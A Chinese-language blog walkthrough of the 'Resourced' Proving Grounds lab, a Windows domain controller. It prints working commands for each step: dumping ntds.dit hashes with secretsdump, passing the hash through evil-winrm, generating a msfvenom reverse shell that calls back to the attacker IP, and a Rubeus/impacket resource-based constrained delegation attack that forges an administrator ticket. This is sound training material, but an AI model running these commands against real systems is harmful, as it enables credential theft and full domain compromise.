Proving Grounds Practice : Resourced Walkthrough

 Proving Grounds Practice : Resourced Walkthrough


Foothole (立足點 ) :

  • 透過 enum4linux 枚舉發現使用者帳號與密碼
  • 使用獲取之使用者帳號與密碼透過 smbclient 拿到 ntds.dit 與 SYSTEM
  • Dump 後拿到某個使用者的 HASH
  • 使用有效的憑證 HASH 透過 evil-winrm 進入系統拿到 reverse shell

PE ( 提權 ) :

  • whoami 沒有發現可以提權的地方
  • 透過 BloodHound 發現現有使用者對 DC 有 GenericAll 權限
  • 使用 BloodHound 裡的建議步驟拿到銀票
  •  將銀票匯入到 Kali 再透過 psexec 進入系統

注意事項 : 

  • 拿到新的權限後一定要再次枚舉
  • 有 HASH 即可嘗試登入系統
  • DC 一定要跑 SharpHound 然後在 BloodHound 注意細節
  • 學到 GenericAll 的利用方式
  • 銀票攻擊更深一層的學習與利用


Kali IP : 192.168.45.156

靶機 IP : 192.168.245.175


第一步 Rustscan,└─$ rustscan -a 192.168.245.175 --scripts none --ulimit 5000 | tee rustscan

53、88、445、389、3268、etc... 看來又是一台 DC



snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.245.175 | tee snmp



nmap



nmap LDAP,nmap --script "ldap* and not brute" 192.168.245.175 -p 389 -v -Pn -sT



smb check,smbclient -L \192.168.245.175



enum4linux,獲得使用者清單,其中使用者 V.Ventz 看來把密碼寫在描述說明

得到一組驗證帳號密碼 V.Ventz:HotelCalifornia194!



crackmapexec 驗證看看,crackmapexec smb 192.168.245.175 -u 'V.Ventz' -p 'HotelCalifornia194!'

Domain : resourced.local,此組帳號密碼是有用的



smb 列舉看看,smbclient -L //192.168.245.175/ -U 'V.Ventz' --password='HotelCalifornia194!'

有個特別的目錄 "Password Audit"



存取後發現兩個檔案 SECURITY、SYSTEM,抓回來看看

└─$ smbclient '//192.168.245.175/Password Audit' -U 'V.Ventz' --password='HotelCalifornia194!'



在抓檔案時一直出現 Timeout 後來加上 -m SMB2 與 -t 300 後可以正常抓檔案了

└─$ smbclient -m SMB2 '//192.168.245.175/Password Audit' -U 'V.Ventz' --password='HotelCalifornia194!' -t 300

在另一個路徑下發現 ntds.dit & ntds.jfm,也一併抓回來



因為 smbclient timeout 問題後來有看到 impacket 也有 smbclient
改使用 impacket-smbclient 連線方便多了,指令的用法要改一下如下
└─$ impacket-smbclient V.Ventz:'HotelCalifornia194!'@resourced.local
一進去後要先用 use 指定要存取的分享資源,之後就跟 smbclient 差不多
最大的重點是是目錄有空格不用特別加引號或是雙引號,直接輸入名稱即可
下載檔案時學到一個指令 mget 加上 * 即可加該目錄的檔案全數下載回來





拿到 ntds.dit & SYSTEM 那就直接 dump 吧,└─$ impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL



整理一下把 hash 存成一個 hash.txt 檔案,還有之前已經整理好的 usernames.txt


一樣使用 crackmapexec 測試看看,因為是 HASH 檔案所以要用 winrm 來測試

└─$ crackmapexec winrm 192.168.245.175 -u ./usernames.txt -H ./hash.txt -d resourced.local --continue-on-success




獲得一組有用的資訊 resourced.local\L.Livingstone:19a3a7550ce8c505c2d46b5e39d6f808 (Pwn3d!)



直接 impacket-psexec 進去......結果 GG




改用 evil-winrm 進去了,evil-winrm -i 192.168.245.175 -u L.Livingstone -H 19a3a7550ce8c505c2d46b5e39d6f808



建立 payload,└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.156 LPORT=4444 -f exe -b '\x00\x0d\x0a' -o shell.exe



上傳 payload 與執行



4444 listener 進來了,開始 PE,標準作業 whoami /priv



這是一台 DC,跑跑看 SharpHound 收集資訊



下載回 kali



匯入 BloodHound 後將我們現在已經拿到手的使用者標註一下 Owned




然後開始查看相關資訊,該使用者可以對 DC 執行 PSRemote



看一下相關資訊可以建立新的 Session,這個沒啥幫助,因為已經可以上傳 payload 建立新的 Session 了,所以可以跳過



可以 RDP



測試了一下用 Hash RDP 結果 GG



查看相關 OutBound Object Control 發現既然有 GenericAll 對 DC



參考 Info 看看,這一段文字 [ This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish. ]

中文的意思是說這是已知的完全控制,此特權允許受託人隨心所欲地操縱目標對象

看到隨心所欲地操縱且目標又是 DC 那應該很有機會




參考 Windows Abuse 的說明表示對電腦物件的完全控制可用於執行基於資源的約束委託攻擊

教我們新增一台新的電腦帳號物件來進行攻擊,然後用 PowerView 獲取 SID



用新增的電腦 SID 為主體建立通用 ACE,並取得新 DACL/ACE 的二進位位元組

接著在該電腦帳戶的 msDS-AllowedToActOnBehalfOfOtherIdentity 欄位中設定這個新建立的安全描述符,一樣使用 PowerView 即可達到



接著使用 Rubeus 將明文密碼雜湊為 RC4_HMAC 形式

最後使用 Rubeus.exe 的 *s4u* 模組去偽裝成 admin 帳號的服務票證,利用 PtT 的手法



先將指令都一一列下 :

=======================================================================

建立機器 : New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)

SID 獲取 : $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

DACL/ACE : $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

msDS-AllowedToActOnBehalfOfOtherIdentity 欄位 : Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

RC4_HMAC : Rubeus.exe hash /password:Summer2018!

Rubeus *s4u* : Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt

=======================================================================


開始一一執行,第一步建立新的機器帳號就卡關,告知該指令不認識

已經有先匯入 PowerView.ps1 了



回看 BloodHound 的說明如下,發現關鍵字 [ Kevin Robertson's Powermad project ]



GitHub 找了一下發現原來要使用它提供的 Powermad

參考 : https://github.com/Kevin-Robertson/Powermad/tree/master



匯入 Powermad.ps1 後再建立一次電腦帳號這一次成功了

New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)



獲取 SID 並指定為參數 $ComputerSid

$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

輸入 $ComputerSid 查看參數是否有正常獲取

$ComputerSid = S-1-5-21-537427935-490066102-1511301751-4101



設定 DACL/ACE : $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"

$SDBytes = New-Object byte[] ($SD.BinaryLength)

$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

\Rubeus.exe hash /password:Summer2018!

可以看到密碼 Summer2018! 的 RC4 Hash 跟範例中的一樣
rc4_hmac             : EF266C6B963C0BB683941032008AD47F



最後一個步驟了,這裡要將帳號改成 administrator,因為網域中沒有 admin 這個帳號

TARGETCOMPUTER.testlab.local 要改成符合我們網域的名稱resourcedc.resourced.local

.\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:administrator /msdsspn:cifs/resourcedc.resourced.local /ptt





klist 看一下,現在可以看到銀票了



參考這一篇關於 Rubeus.exe 銀票攻擊

https://www.hackingarticles.in/domain-escalation-resource-based-constrained-delegation/



依據上述該網站的手法操作,將銀票 COPY 回 kali 並進行 base64 decode 存成檔案 ticket.kirbi



銀票內容如下



使用 impacket 內的票卷轉換工具 ticketConverter.py

└─$ cp /usr/share/doc/python3-impacket/examples/ticketConverter.py .

然後將銀票轉成 administrator.ccache

└─$ ./ticketConverter.py ticket.kirbi administrator.ccache



klist 先看一下現在的 kerbers 票卷是空的,匯入該銀票 

└─$ export KRB5CCNAME=./administrator.ccache

再 klist 看一下現在是 cifs/resourcedc.resourced.local@RESOURCED.LOCAL



直接 impacket-psexec 進去看看吧

└─$ impacket-psexec -k -no-pass resourced.local/administrator@resourcedc.resourced.local -dc-ip 192.168.187.175 -target-ip 192.168.187.175

whoami 確認是管理者



指令用簡單一點的方式如下也可以

└─$ impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.187.175

whoami 確認是管理者



補充說明 :

其他解法,在建立攻擊使用的電腦帳號時可以套過 kali 遠端去建立

└─$ impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.187.175 -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'ARIES$' -computer-pass 'AriesAttackPC1!'



參考這個網站 https://github.com/tothi/rbcd-attack/tree/master

下載 rbcd.py 來執行後續的作業



設定電腦帳戶 ARIES 的 msDS-AllowedToActOnBehalfOfOtherIdentity 欄位建立與使用 s4u

└─$ python3 rbcd.py -dc-ip 192.168.187.175 -t resourcedc -f 'ARIES' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone    



獲取銀票,且自動存檔成 Administrator.ccache

└─$ impacket-getST -spn cifs/resourcedc.resourced.local resourced/ARIES\$:'AriesAttackPC1!' -impersonate Administrator -dc-ip 192.168.187.175



匯入銀票,並用 klist 確認,可以看到銀票有更新成這個新的



一樣 impacket-psexec 進去,whoami 確認為管理者





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)